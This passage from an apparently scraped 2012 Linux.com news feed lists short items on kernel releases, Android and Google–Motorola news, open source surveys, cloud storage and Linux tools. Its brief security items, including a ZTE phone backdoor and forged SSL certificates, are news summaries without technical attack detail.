<p>As if anyone needed any more proof that the Samsung’s Galaxy S III would sell like (slightly more expensive) hotcakes, a report from the Korea Economic Daily reveals that the long-awaited handset racked up over 9 million pre-orders from mobile carriers across the globe. To put that number in a bit of perspective, the tremendously popular Galaxy S II was officially unveiled at MWC in February 2011, and managed to rack up 3 million global pre-orders by the end of April. Its successor, on the other hand,...</p>


title: Windows Phone Edging Out iPhone in China, says Microsoft
author: CNET
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/579233:windows-phone-edging-out-iphone-in-china-says-microsoft

description:
<p>Windows Phone has inched past the iPhone at ekeing out market share in the lucrative Chinese market. [Read more]...</p>


title: Ubuntu 12.04 Git'ed With Intel Ivy Bridge
source: https://www.linux.com/news/hardware/desktops/579258:ubuntu-1204-gited-with-intel-ivy-bridge
author: Phoronix
description:
<p>As the Intel Ivy Bridge benchmarks being delivered on Phoronix and coming up in the coming days are frequently using the latest Intel Linux graphics development stack, for those curious here is a comparison between the stock Ubuntu 12.04 packages and when running the latest Linux kernel / Mesa /...</p>


title: Test Driving Fuduntu
source: https://www.linux.com/news/featured-blogs/136:distroblogs/579294:test-driving-fuduntu
author: Libby Clark
description:
<p>In my talk at Linux Fest Northwest — and I say this often to anyone who will listen — I mentioned that there is a “digital Darwinism” at play in the FOSS paradigm. That is, distros and FOSS programs rise and fall depending on the quality of the software and the community that gathers around them. Good distros and programs — the “fittest” — survive, and the others, well, not so much. That’s OK: It may be harsh, but such is the way of the FOSS world. In case you’re wondering why I’ve started off on a tangent instead of going off on one somewhere in mid-blog, I bring this up because I think Fuduntu is one of those distros that can be a strong contributor to FOSS, not to mention a quality distro coupled with a growing community. That said, it has a bright future. In giving the latest version of Fuduntu a ride — Fuduntu 2012.2 — it is a refereshing change of pace. Originally based on Fedora but later forked (and the installer will look very familiar to Fedora users), the distro — as the name Fuduntu implies — ties the...</p>


title: Weekend Project: Replace Active Directory with Resara Server and Samba4
author: Carla Schroder
source:
https://www.linux.com/learn/tutorials/579308:weekend-project-replace-active-directory-with-resara-server-and-samba4

description:
<p>
	Samba4 aims to be a drop-in Active Directory server replacement. It&#39;s still in alpha, so the easy way to try it out is with Resara Server, which supplies a polished administration console and decent documentation. So grab your Windows peecees and come take Resara for a spin.</p>


title: Survey: Open Source Adoption Rises, Drives Innovation
author: Libby Clark
source:
https://www.linux.com/news/featured-blogs/200:libby-clark/579384:survey-open-source-adoption-rises-drives-innovation

description:
<p>More than 50 percent of all software purchased within five years will be open source, according to a survey released Monday by a collaboration of 26 open source companies.</p>
<p>This year’s “Future of Open Source Survey” results signal a tipping point for open source software adoption in the enterprise and non-technical industries such as automotive, health care and finance. In the auto industry, for example, 59 percent of the companies surveyed use open source software and 35 percent said they’re evaluating it.</p>
<p>Of the 740 companies surveyed, 42 percent said adoption in the non-technical segments was the No. 1 trend driving open source in 2012.&nbsp;</p>
<p>“It indicates the maturing and awareness of the technology and its benefits,” said Peter Vescuso, Executive Vice President of Marketing and Business Development at <a href="http://www.blackducksoftware.com/">Black Duck Software</a>, a survey sponsor.</p>
<h2><br style="clear: right;" />Open Source Drives Innovation</h2>
<p><img style="margin: 1px; border: 1px solid #000000; float: left;" src="images/stories/714/future%20of%20open%20source.jpg" height="142" width="230" />That broader adoption creates a larger community for testing and feedback, a “virtuous cycle,” that’s driving innovation in cutting-edge technologies such as cloud computing, mobile and big data, according to the report. The innovation cycle is also giving way to new business models.</p>
<p>Industries are moving toward cloud computing, which is enabled by open source software, said Michael Skok, General Partner of <a href="http://www.nbvp.com/">North Bridge Venture Partners</a>. Cloud, in turn, allows for more mobile and data adoption.</p>
<p>“All of these areas build on each other as non-technical industries look to solutions,” Skok said.</p>
<p>They turn to open source software to escape vendor lock-in, lower costs and increase quality, according to the survey. As further proof that the industry is maturing, this marked the first year that quality ranked among the top three reasons in the study’s six-year history.</p>
<p>“I see open source projects such as Drupal or Linux win more often because it’s the better technology, rather than just win on price,” said Dries Buytaert, co-founder and CTO of <a href="http://www.acquia.com/">Acquia</a> and President of the Drupal Association. “It has the better functionality because we’re a community driven innovation model. That means it has become the better solution.”</p>
<p>The combination of technology, development and business innovation is all coming from a more open and accessible community-based process.</p>
<p>“To call it open source software falls way short of all of these elements coming together,” Vescuso said. “I’d characterize it as open innovation.”</p>
<h2>More interesting stats from the study:</h2>
<p>Number of Survey Respondents in 2011: 455</p>
<p>Number in 2012: 740</p>
<p>41% Vendors<br />59% Non-vendors</p>
<p><span style="text-decoration: underline;">Top Barriers to Open Source Selection:</span></p>
<p>Unfamiliarity with open source solutions 48%<br />Lack of internal technical skills 47%<br />Lack of formal commercial vendor support 35%</p>
<p><span style="text-decoration: underline;">Factors influencing the choice of OSS projects for non-vendors</span></p>
<p>Project maturity 46%<br />Availability of commercial support 21%<br />Size of the community 20%</p>
<p><span style="text-decoration: underline;">What aspect of OSS experience is most important to hiring decisions?</span></p>
<p>Experience with a variety of projects 35%<br />Code contributions 28%</p>
<p><span style="text-decoration: underline;">Hot OSS companies</span></p>
<p>Red Hat<br />Canonical<br />Acquia<br />Enterprise DB<br />Google<br />Ntando</p>


title: NVIDIA Issues New 302 Linux Beta
source: https://www.linux.com/news/hardware/desktops/580093:nvidia-issues-new-302-linux-beta
author: Phoronix
description:
<p>Aside from releasing a stable Linux driver update last week, NVIDIA also pushed out a new 302-series Linux driver beta...</p>


title: The 3.4 Kernel is Out
source: https://www.linux.com/news/software/linux-kernel/580024:the-34-kernel-is-out
author: LWN
description:
<p>Linus has released the 3.4 kernel. Significant features in this release include the Yama security module, support for the x32 ABI, asymmetric multiprocessing support, the dm-verity device mapper target, and more. For details, see the always-excellent KernelNewbies 3.4 page.</p>


title: ARM Publishes New Universal Linux Graphics Driver
author: Phoronix
source:
https://www.linux.com/news/hardware/desktops/580126:arm-publishes-new-universal-linux-graphics-driver

description:
<p>ARM has published a new open-source X.Org DDX Linux graphics driver while working to enable support for their next-generation ARM Mali T6xx graphics core...</p>


title: ZTE Admits to Backdoor in one of its Android Devices
author: The H
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/580130:zte-admits-to-backdoor-in-one-of-its-android-devices

description:
<p>The Chinese handset maker included a program with a hard-coded password in its ZTE Score smartphone which gives root access. The backdoor was discovered after a user posted the credentials on Pastebin...</p>


title: Who Loves Ya, Linux Baby?
source: https://www.linux.com/news/software/applications/580146:who-loves-ya-linux-baby
author: LinuxInsider
description:
<p>If there's anything important in this competitive world, it's the ability to tell one's friends from one's enemies. We here in the Linux blogosphere tend to be pretty good at that, but recently a surprising turn of events left us befuddled. Namely: Mozilla's decision to leave Linux support out of...</p>


title: Oracle Updates Oracle VM Server Virtualisation Solution
author: The H
source:
https://www.linux.com/news/enterprise/systems-management/580187:oracle-updates-oracle-vm-server-virtualisation-solution

description:
<p>Oracle has released version 3.1.1 of Oracle VM Server for x86, its Xen-based virtualisation solution. It includes wizards for generating VMs and server pools, and users can now add virtual CPUs to running VMs...</p>


title: Google to Close Motorola Mobility Deal by Wednesday
author: CNET
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/580220:google-to-close-motorola-mobility-deal-by-wednesday

description:
<p>Thanks to China finally giving its stamp of approval, Motorola Mobility says its acquisition by Google can now close. [Read more]...</p>


title: Google Chrome Beats Internet Explorer
source: https://www.linux.com/news/software/applications/580211:google-chrome-beats-internet-explorer
author: Swapnil Bhartiya
description:
<p>Google Chrome has beaten Microsoft's Internet Explorer as the most popular web browser worldwide, for the first time.</p>


title: Open Source Machines: New Ideas Are Arriving
source: https://www.linux.com/news/software/applications/580225:open-source-machines-new-ideas-are-arriving
author: OStatic
description:
<p>Bring up the term open source to many people, and they'll immediately think of community-driven software projects, but we've covered many open source hardware concepts here on OStatic over the years. And, last year, the official Open Source Hardware (OSHW) definition arrived in version 1.1. Recently, TED fellow Marcin Jakubowski delivered an address in which he discussed the open source blueprints for 50 farm machines, ranging from tractors to harvesters. You can get his thoughts in a video, but these farm-focused ideas are only a small part of the open source hardware scene. As NPR notes: "Using wikis and digital fabrication tools, Jakubowski's work enables anyone to build their own tractor or harvester from scratch. The effort is part of an overall project to write an instruction...</p>


title: Samsung Galaxy S III Edges Closer to T-Mobile, AT&T
author: CNET
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/580222:samsung-galaxy-s-iii-edges-closer-to-t-mobile-atat

description:
<p>The Bluetooth SIG indicates the Samsung Galaxy S III is coming to T-Mobile, AT&amp;T. [Read more]...</p>


title: Apache Hive Query Patterns: Generalized HiveQL Queries for Common Operations
author: DevX
source:
https://www.linux.com/news/software/applications/580438:apache-hive-query-patterns-generalized-hiveql-queries-for-common-operations

description:
<p>Use these four Apache Hive query patterns to improve the process of developing Hive-based applications, enhance code reusability, and reduce HiveQL errors.</p>


title: Amazon Appstore For Android Now Lets Users Test Drive Apps Right On Their Devices
author: TechCrunch
source:
https://www.linux.com/news/software/applications/580611:amazon-appstore-for-android-now-lets-users-test-drive-apps-right-on-their-devices

description:
<p>Unless an app you have your eye happens to have a free demo version to muck about with, there’s little one can do to try out an Android app on a device in advance. Sure, you could buy the app straight from the Google Play Store and get a refund within 15 minutes if you’re not satisfied, but Amazon has a new solution in place that helps take the friction out of that testing process. The latest update for the Amazon Appstore Android app packs a welcome surprise — instead of being stuck Test Driving your apps on your PC, you’ll now be able to do it from...</p>


title: ownCloud 4 Released
source: https://www.linux.com/news/enterprise/cloud-computing/580617:owncloud-4-released
author: LWN
description:
<p>Version 4 of the ownCloud "personal cloud" system is out. "ownCloud 4 – built through active community support – adds innovative features like file versioning, – which actively saves files, allowing users to “rollback” to previous versions – and a new API — giving developers an easy, stable and supported...</p>


title: Google Closes Deal on Motorola Mobility [In Brief]
author: Lifehacker
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/580642:google-closes-deal-on-motorola-mobility-in-brief

description:
<p>Google's CEO, Larry Page, has announced that Google has officially acquired Motorola Mobility. The process started last August but the deal is now done. Google hasn't made a statement about what exactly they plan on doing with this acquisition, but he does introduce Motorola Mobility's new CEO, Google employee Dennis...</p>


title: GitHub Reaches Out to Windows Developers
source: https://www.linux.com/news/software/applications/580655:github-reaches-out-to-windows-developers
author: OStatic
description:
<p>As of this week, GitHub is reaching out to Windows developers with the announcement of GitHub for Windows, a graphical client that will allow both developers and designers to seamlessly us the Git revision control system. The client is available as a free download now, and here are more details. The Git revision control system has soared in popularity in recent years, and developers have traditionally used it via command line or through a Mac-based graphical client that has...</p>


title: Seven Useful Resources for Linux Beginners
source: https://www.linux.com/news/software/applications/580663:seven-useful-resources-for-linux-beginners
author: OStatic
description:
<p>If you're new or relatively new to Linux, you may be looking around for good Linux resources and perhaps some tutorials. Whether you're new to Linux or looking to become a more advanced user, there are a lot of free online books and tutorials that can give you guidance. In this post, you'll find our updated collection of many good Linux reference guides online--all available at no cost. &nbsp; Total Linux beginners can easily dive into The Linux Starter Pack.&nbsp; It's a guide that caters to newbies and provides numerous useful resources. &nbsp; We've covered Ubuntu Pocket Guide and Reference before here, and you can download it for free here. The online book is mostly identical to the fee-based print version, and the author, Keir Thomas, has written a number of books on Linux. There are seven chapters in the reference guide, with many screenshots, and information on how to move...</p>


title: Lightspark update improves graphics capabilities
author: The H
source:
https://www.linux.com/news/software/applications/580682:lightspark-update-improves-graphics-capabilities

description:
<p>Version 0.5.7 of the open source Flash player implementation for Linux focuses on features used by Flash games by improving its graph­ics capa­bil­i­ties...</p>


title: China Blesses "Googarola" and Open Source, Too
author: Eric Brown
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/580754:china-blesses-qgoogarolaq-and-open-source-too

description:
<p><img style="margin: 10px; border: 1px solid #000000; float: left;" alt="aosp" src="images/stories/714/aosp.jpg" height="137" width="200" />"Openness" is not a term that jumps to mind when describing the Chinese government. Yet on Sunday when <a href="http://www.google.com/hostednews/ap/article/ALeqM5hYN2wSrLpjlkw315NjrmHTeNEq2Q?docId=adfa482ccdf348208c46b2181a3d5337">Chinese regulators approved Google's acquisition of Motorola Mobility</a>, they applied a surprising caveat: Google must keep Android free and open source for the next five years.</p>
<p>The approval lifted the last obstacle to the $12.5 billion merger and is <a href="http://www.google.com/hostednews/ap/article/ALeqM5ifiep9HTE7dh2kQ46ZWjqvhE0zUw?docId=8d5f3b5c915a42d9a13a0a306d07a7a8">resulting today in the completed Google/Motorola deal. </a>As part of the announcement and as anticipated, Larry Page is naming Dennis Woodside as Motorola's CEO.</p>
<p>China's demand for openness is an ironic sequel to the 2010 disagreement with Google over another openness issue: Internet search. In 2010, Google refused to let China filter its search results, and was forced to retreat from the Chinese search market, leaving the homegrown, filter-friendly Baidu as the dominant leader. The rift may have led China to delay its verdict until several months after U.S. and EU regulatory bodies announced their restriction-free approvals in February.</p>
<p>While China's demands mean OEMs and developers can breathe a little easier about Android's future, few expected Google would soon discard its successful open-source strategy. Google has repeatedly vowed to keep Android open, to provide timely updates to all Android vendors without favoring Motorola Mobility, and to maintain Motorola as a separate, independent company.</p>
<p>Some speculate that Google may even spin off Motorola once it has plundered the U.S.-based Android device manufacturer's 17,000-plus technology patents. The patents, which should help Google fend off Android-related legal attacks, were widely seen as the main goal of the acquisition. Google will likely keep Motorola, however, as a means to project its own vision of Android devices, free from UI skins and bloatware. In addition, Motorola's set-top box division could help revive Google TV.</p>
<p>Google's five-vendor Nexus strategy</p>
<p>Google's open source commitment was far from a given. Some analysts advised the company to go proprietary as a way to eliminate fragmentation and better compete with Apple. In August, Piper Jaffray projected Google could earn $10.5 billion in profits by 2015 following the proprietary path.</p>
<p>Others suggested Google might pursue a middle ground by giving Motorola a head-start with new Android code before releasing code to others. Google has always denied the possibility, however, and China's approval would appear to prohibit this. In fact, a May 15 <a href="http://online.wsj.com/article_email/SB10001424052702304371504577406511931421118-lMyQjAxMTAyMDEwNTExNDUyWj.html">Wall Street Journal article</a> claims that Google will debut the upcoming Android "Jelly Bean" release in November on unlocked devices from up to five manufacturers.</p>
<p>Previously, Google had released such Google-branded "Nexus" devices with only a single partner. HTC built the original Android phone and first "Nexus" phone, and Samsung built the next two Nexus models. Last year, Motorola's Xoom acted as an unofficial showcase model for Android 3.0 "Honeycomb" tablets.</p>
<p>According to the Journal's unnamed source, Google will once again attempt direct sales with the devices, as it did with the HTC Nexus One in 2010. Although <a href="news/embedded-mobile/mobile-linux/577965-android-skins-refuse-to-go-away-">participating Android vendors won't likely be permitted to add UI layers</a>, they will enjoy early access to the latest code.</p>
<p>Presumably, Samsung, HTC, and Google's other major Android partners have been given a shot at a Nexus device, in addition to Motorola.&nbsp; Asustek has also been rumored to be working on a co-branded tablet with Google. China's Huawei or ZTE, both of which are rapidly building Android market share, may well share in the Jelly Bean debut, according to the story.</p>
<p>Mobile carriers, on the other hand, will likely be miffed, as the unlocked phones and tablets will work on multiple networks. The carriers can only hope that Google will fail to learn the lessons from its unsuccessful direct-sales scheme with the Nexus One.</p>
<p>Unlocked bootloaders aside, an open source Android is arguably as much in the interests of the carriers as it is with Android vendors, developers, and consumers. Google no doubt realized that a proprietary "Googarola" would further fragment rather than coalesce Android, and that the company might struggle to compete with Apple in its own proprietary hardware game.</p>
<p>FOSS purists would say Android isn't really open source at all, especially due to Google's lack of transparent governance. Yet, the company has finally stepped up its contribution of Android code back to the Linux mainline. More importantly, after protests about its nine-month hold-out on releasing Honeycomb code in 2011, it promptly released Android 4.0 code in November, along with the Honeycomb code.</p>
<p>Pure FOSS or not, Android is open enough to inspire a growing number of open source projects. According to a May 15 <a href="http://www.blackducksoftware.com/news/releases/2012-05-15">Black Duck Software study</a>, 76 percent of the roughly 10,000 new open source mobile open source projects launched in 2011 were based on Android. In other words, Android is beginning to achieve enough open source momentum to ensure that no organization -- including Google, Amazon, Samsung, Verizon, AT&amp;T, or even China -- will be able to fully control it.</p>
<p>&nbsp;</p>


title: New Linux Kernel Adds X32 ABI, Btrfs Updates
author: Joe 'Zonker' Brockmeier
source:
https://www.linux.com/news/featured-blogs/196:zonker/580753:new-linux-kernel-adds-x32-abi-btrfs-updates

description:
<p>
	It&#39;s been a &quot;calm&quot; release cycle, according to Linus Torvalds, but the 3.4 Linux kernel released on Sunday still has plenty of interesting new features. Top of the bill? A X32 application binary interface (ABI) that will help provide better performance for applications that don&#39;t really need huge chunks of memory or 64-bit variables.</p>


title: LLVM 3.1 Compiler Infrastructure Released
source: https://www.linux.com/news/software/applications/581089:llvm-31-compiler-infrastructure-released
author: The H
description:
<p>After an unannounced delay, LLVM 3.1 and Clang 3.1 have been released, bringing a variety of improvements to the compiler infrastructure and C/C++/Objective C compiler...</p>


title: Core JRuby Developers Move to Red Hat
source: https://www.linux.com/news/software/applications/581090:core-jruby-developers-move-to-red-hat
author: The H
description:
<p>Engine Yard has announced that JRuby core team members Thomas Enebo and Charles Nutter are leaving the company to join Red Hat in an apparently friendly deal between the two firms. The first preview version of JRuby 1.7.0 has also been released...</p>


title: $35 Raspberry Pi Gets Camera Module
source: https://www.linux.com/news/hardware/desktops/581092:35-raspberry-pi-gets-camera-module
author: Swapnil Bhartiya
description:
<p>In a blog post Liz discloses that the foundation is working on an experimental camera which will be released later this year.</p>


title: Open Source Hardware: Fast and Malleable
source: https://www.linux.com/news/hardware/desktops/581108:open-source-hardware-fast-and-malleable
author: OpenSource.com
description:
<p>SparkFun is not like BMW. We will never be the company to produce the luxury market version of breakout boards and development tools. I believe the only way SparkFun will survive this quickly changing world is to be malleable. We have to be ready to change. Read more... read more...</p>


title: Samsung Galaxy S III Smashes Pre-Order Records in UK
author: CNET
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/581125:samsung-galaxy-s-iii-smashes-pre-order-records-in-uk

description:
<p>Samsung separately said that the Galaxy S III design was not changed to get around Apple's lawsuit. [Read more]...</p>


title: Pyroom Text Editor Does Minimalism the Right Way
author: LinuxInsider
source:
https://www.linux.com/news/software/applications/581148:pyroom-text-editor-does-minimalism-the-right-way

description:
<p>Whether you are writing code or creating editorial content, a noisy computing environment often can silence your productivity. The Pyroom Text Editor gives you a quiet environment where computing noise cannot distract you from your creativity. Computing noise -- that is, computing distractions from the task at hand -- comes...</p>


title: Rugged Android Tablet Redefines Tonka-Tough... and Ugly [Overkill]
author: Gizmodo
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/581206:rugged-android-tablet-redefines-tonka-tough-and-ugly-overkill

description:
<p>Designed to be used by those who are actively getting shot at in warzones, not just those of us who are clumsy with our gadgets, the new Rampage 6 tablet is even more rugged than Panasonic's Toughbook tablet. Though, far less capable. More&nbsp;»...</p>


title: Canonical Makes Rare X.Org/Wayland Contribution
source: https://www.linux.com/news/hardware/desktops/581220:canonical-makes-rare-xorgwayland-contribution
author: Phoronix
description:
<p>While Canonical is known -- and commonly criticized -- for not investing in making heavy, low-level upstream Linux contributions, today a set of patches intended for upstream were published by a Canonical engineer concerning XWayland support...</p>


title: VIA Launches Android PC; Mini ARM-Based System
author: The H
source:
https://www.linux.com/news/enterprise/biz-enterprise/581275:via-launches-android-pc-mini-arm-based-system

description:
<p>Ever more mini-computers with ARM SoCs, on which hobbyists can run Android, Linux or other operating systems, are entering the market. VIA has now joined the fray by announcing the APC, containing an ARM SoC, for just $49...</p>


title: How to Become a Finalist: Inspired by Linux T-shirt Design Contest
author: Jennifer Cloer
source:
https://www.linux.com/news/featured-blogs/185:jennifer-cloer/581430:how-to-become-a-finalist-inspired-by-linux-t-shirt-design-contest

description:
<p>{lfnews}</p>
<p>I'm inspried by a variety of things, both small and large: a really good cup of coffee, great art, contribution, reading the Sunday New York Times, sitting in the <a href="https://events.linuxfoundation.org/events/linuxcon">Linux kernel panel session at LinuxCon</a>. But this year in particular, I'm more inpsired than ever by what is happening because of Linux. The <a href="http://www.raspberrypi.org/">Raspberry Pi</a> is putting computing power in anyone's hands; the <a href="http://www.linuxfordevices.com/c/a/News/Cadillac-CUE/">Cadillac Cue </a>is illustrating just the tip of the iceberg of what Linux is doing for car infotainment systems; and Google, Facebook and Amazon all continue to push the limits on how we connect as a global culture thanks to Linux. This year, too,<a href="https://events.linuxfoundation.org/events/cloudopen"> Linux is playing a major role in how we define the open cloud</a> and is bringing more attention to why we need to fight for openness in cloud computing.</p>
<p>All of these reasons and more are why we created a theme for this year's <a href="community/contests-and-polls/contests/tshirt-design-contest-2012">Linux Foundation T-shirt contest</a>, <a href="http://www.youtube.com/watch?v=5hWVx4mjoOU">"Inspired by Linux."</a> My colleague <a href="news/featured-blogs/200-libby-clark/575917--2012-linux-foundation-t-shirt-contest-inspired-by-linux">Libby Clark last week shared a video</a> that gives me goosebumps and that we can already see by the submissions coming in are inspiring people to design this year's T-shirt. To provide even more inspiration and direction on how to become a finalist, I thought I'd share last year's finalists. I hope this helps designers understand the basic elements we're lookging for when choosing the top 5-7 for community vote: artistic quality, originality, creativity, simplicity in design, and adherence to the contest theme. Enjoy the slideshow, and we look forward to reviewing your design. And, to this year's two winners-to-be, we'll see you at <a href="https://events.linuxfoundation.org/events/linuxcon">LinuxCon</a> and <a href="https://events.linuxfoundation.org/events/cloudopen">CloudOpen</a>!</p>
<p>&nbsp;</p>


title: Backing Up on Linux with Duplicity
source: https://www.linux.com/learn/tutorials/581431:backing-up-on-linux-with-duplicity
author: Joe 'Zonker' Brockmeier
description:
<p>
	Recently, we covered syncing files to Amazon S3 using the S3 Tools. This time around, we&#39;re going to take a look at another handy tool for making backups, Duplicity. While Duplicity supports S3, it also supports a number of other services that S3 Tools do not. If the command line seems like a hassle, don&#39;t worry: the Deja-Dup front-end works really well for simple backups.</p>


title: Blowing the Cloud Wide Open: Box.net to Begin Negotiable Enterprise Licenses
author: ReadWriteWeb
source:
https://www.linux.com/news/enterprise/cloud-computing/581832:blowing-the-cloud-wide-open-boxnet-to-begin-negotiable-enterprise-licenses

description:
<p>The generally accepted definition of "cloud services" - even the one prescribed by the U.S. Government (PDF available here) - includes the existence of metered or measured service - usually a flat rate that scales along with the service consumed.&nbsp; Now one of the cloud's most prominent competitors is opening up its enterprise license program to negotiation, enabling big customers - perhaps including the government itself - to name their price and enter into long-term, fixed-price deals. Box.net's move, announced this morning, opens the door for potentially very large customers to enter into long-term arrangements that would otherwise be quite expensive.&nbsp; </p>


title: GCC Explorer - An Interactive Take on Compilation
author: LWN
source:
https://www.linux.com/news/software/linux-kernel/581811:gcc-explorer-an-interactive-take-on-compilation

description:
<p>Matt Godbolt announces GCC explorer, a web-based tool for exploring how code tweaks change the machine code emitted by the compiler. "Particularly with some of the newer features of C++11 — lambdas, move constructors, threading primitives etc — it’s nice to be able to see how your elegant code becomes...</p>


title: Google's Schmidt Pledges Raspberry Pi Linux Computers to U.K. Schools
author: OStatic
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/581919:googles-schmidt-pledges-raspberry-pi-linux-computers-to-uk-schools

description:
<p>As we've reported, the diminutive $25 Linux computer dubbed Raspberry Pi is attracting developers and tinkerers, and we've also noted that it could succeed where projects like One Laptop Per Child (OLPC) ran into roadblocks--in the educational market. In fact, the tiny devices (see the motherboard shown here) have already drawn interest from educational system and technology industry leaders. Now, in a very promising step for the Raspberry Pi movement, Google Chairman Eric Schmidt has pledged to give U.K. schools Raspberry Pis and pledged to train 100 teachers in how to pass Linux skills onto students. "Rebooting computer science education is not straightforward," Schmidt said at an event in London, according to the BBC.</p>


title: SSL Fix Flags Forged Certificates Before They're Accepted by Browsers
author: ArsTechnica
source:
https://www.linux.com/news/software/applications/581877:ssl-fix-flags-forged-certificates-before-theyre-accepted-by-browsers

description:
<p>Researchers have proposed an extension to the Internet's foundation of trust that's designed to root out fraudulent secure sockets layer (SSL) certificates before attackers can use them to impersonate online banks and other sensitive websites.</p>


title: Google+ on Android Gets its Turn at a UI Remake, Extra Hangout and Photo Features in the Bargain
author: Engadget
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/581921:google-on-android-gets-its-turn-at-a-ui-remake-extra-hangout-and-photo-features-in-the-bargain

description:
<p>Did you see the Google+ 2.0 update for iPhone and wonder if Google's attention had drifted away from its own baby? Don't fret, as the Android app has just been given similarly loving treatment. The interface shares the reworked stream look that we saw on iOS while keeping the swipe-to-switch category filters that Google+ has used from the start. There's...</p>


title: Android Malware Genome Project Launched
author: The H
source:
https://www.linux.com/news/embedded-mobile/mobile-linux/581918:android-malware-genome-project-launched

description:
<p>Security researchers from North Carolina State University announced the launch of a new initiative – the Android Malware Genome Project – to find, collect and analyse Android malware and share it with researchers around the world...</p>


title: 3D Supernova Simulations on Jaguar
author: insideHPC
source:
https://www.linux.com/news/featured-blogs/147:high-performance/581928:3d-supernova-simulations-on-jaguar

description:
<p>In an effort to measure the size of the universe, researchers are using the Jaguar supercomputer at ORNL to simulate the explosions of white dwarf star supernova. The physics of supernova explosions is something astrophysicists have been trying to figure out for about 50 years now,” said Stan Woosley, principal investigator of an Innovative and Novel Computational Impact on Theory and Experiment (INCITE) project and professor of astrophysics at the University of California–Santa Cruz. “It is an...</p>


title: Open Cloud Roundup: Top Stories of the Week
author: Jennifer Cloer
source:
https://www.linux.com/news/featured-blogs/185:jennifer-cloer/581991:open-cloud-roundup-top-stories-of-the-week

description:
<p>Our Digital Content Editor Libby Clark is away from the office this week, so I'm bringing you the Linux.com Open Cloud Roundup. The release of ownCloud 4, and the data surfaced from the Future of Open Source survey provide some interesting news bits this week, while Reuven Cohen and Matt Asay both make interesting points about the trajectory of cloud computing in their blogs.</p>
<p><a href="http://www.zdnet.com/blog/open-source/build-your-own-open-source-cloud-with-owncloud-4/11056"><img style="margin: 2px; float: left;" src="images/stories/714/cloud%20image%20use.jpg" height="113" width="150" />Build Your Own Open Source Cloud with ownCloud 4</a></p>
<p><em>ZDNet</em></p>
<p><a href="https://twitter.com/#!/sjvn">Steven Vaughan-Nichols </a>writes a useful review of this week's ownCloud 4 release, pointing to its ease-of-use and saying that "ownCloud brings everything I need in one place so that I can run my own cloud my own way." The best thing about ownCloud is you can keep all your data on your own servers and choose the other public clouds with which you want to integrate.&nbsp;</p>
<p><a href="http://www.eweek.com/c/a/Linux-and-Open-Source/Open-Source-Finds-Its-Way-Into-Mobile-Cloud-Big-Data-548970/">Open Source Finds its Way into Mobile, Cloud, Big Data</a></p>
<p><em>eWeek</em></p>
<p>A group of open source software companies this week released <a href="http://www.blackducksoftware.com/news/releases/2012-05-21">The Future of Open Source Survey</a>, which we covered here at <a href="news/featured-blogs/200-libby-clark/579384-survey-open-source-adoption-rises-drives-innovation">Linux.com. </a>One of the interesting findings that eWeek surfaced in their story lead is that 40 percent of new open source projects in 2011 address cloud computing (followed by mobile apps and mobile enterprise projects). This reflects the importance of Linux and open source software in enabling an open cloud experience for IT users who need interoperability, low costs and flexibility.</p>
<p><a href="http://www.forbes.com/sites/reuvencohen/2012/05/24/interest-in-cloud-computing-has-peaked/">Interest in Cloud Computing Has Peaked</a></p>
<p><em>Forbes.com</em></p>
<p><a href="https://twitter.com/#!/rUv">Reuven Cohen </a>makes a case, based on web search data, that interest in the cloud has peaked. He shares data that shows web searches for cloud computing terms are down and points to Gartner's Hype Cycle to illustrate we're headed into the phase defined as the "trough of&nbsp;disillusionment." This is when the real winners and losers are exposed and real products start coming to market and real deployments can be analyzed from start to finish. The next phase? "Slope of enlightenment." We can't wait.</p>
<p><a href="http://www.theregister.co.uk/2012/05/23/jim_whitehurst_red_hat_keynote/">Red Hat Could Cash In With Open Source Cloud Juggling Act</a></p>
<p><em>The Register</em></p>
<p>While this post is a summary of Red Hat CEO Jim Whitehurst's OSBC keynote,<a href="https://twitter.com/#!/mjasay"> Matt Asay</a> makes some really important points about the role of Linux and open source software in the cloud. Here are just a couple excerpts:</p>
<p><em>"Cloud computing is all the rage these days, but it's really a natural consequence of the open-source trend that started decades ago. Cloud computing is essentially impossible in any major way without open-source software at its heart, a point <a href="http://redmondmag.com/articles/2008/01/01/googles-secret-weapon.aspx">Google has stressed for years</a>. The economics just don't work without high-quality free software with minimal licensing friction."</em></p>
<p><em>"We see this in the <a href="http://www.google.com/trends/?q=big+data">explosion of interest in Big Data</a>, but that's just the sexy, Silicon Valley way of articulating the shift toward information-driven businesses. Those businesses can only afford to be so information-driven, however, because of how open source and other technology forces have <a href="http://www.theregister.co.uk/2012/03/20/who_is_making_money_in_big_data/">dramatically lowered the cost of computing</a> and communication."</em></p>
<p>Seems to me we need to ask <a href="news/featured-blogs/185-jennifer-cloer/293844-qa-with-matt-asay-how-linux-is-beating-apple-and-much-more-">Matt to do another Q&amp;A </a>with us here on Linux.com about this topic (hint hint, Matt).</p>
<p>Until next week.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>


title: Linux Gamers Are Going Crazy for this New Game
author: Phoronix
source:
https://www.linux.com/news/software/applications/582286:linux-gamers-are-going-crazy-for-this-new-game

description:
<p>There's another Kickstarter-backed game that may be coming to Linux and it's causing Linux gamers to become extremely excited. In the past day I've received no less than 30~40 emails from readers talking about this possible Linux port of Carmageddon: Reincarnation...</p>


title: New Obstacle for Open Source on Windows 8
source: https://www.linux.com/news/software/multimedia/582352:new-obstacle-for-open-source-on-windows-8
author: The H
description:
<p>Microsoft has announced that, in future, the free of charge version of Visual Studio will only be able to create Metro-style applications. This significantly increases the barrier to entry for open source and freeware developers on Windows...</p>


title: Top 5 Internal Drives: The State of Solid-State Drives
author: CNET
source:
https://www.linux.com/news/enterprise/storage/582380:top-5-internal-drives-the-state-of-solid-state-drives

description:
<p>CNET editor Dong Ngo picks the best solid-state internal drives right now that are also reasonably priced. [Read more]...</p>


title: Ubuntu One vs Dropbox: Which Cloud Do You Use?
author: Swapnil Bhartiya
description: <p>Canonical added support for PayPal to their commercial Ubuntu One cloud storage service.</p>
source:
https://www.linux.com/news/enterprise/cloud-computing/582365:ubuntu-one-vs-dropbox-which-cloud-do-you-use


title: Business Apps Are Becoming Integrated with Google Drive
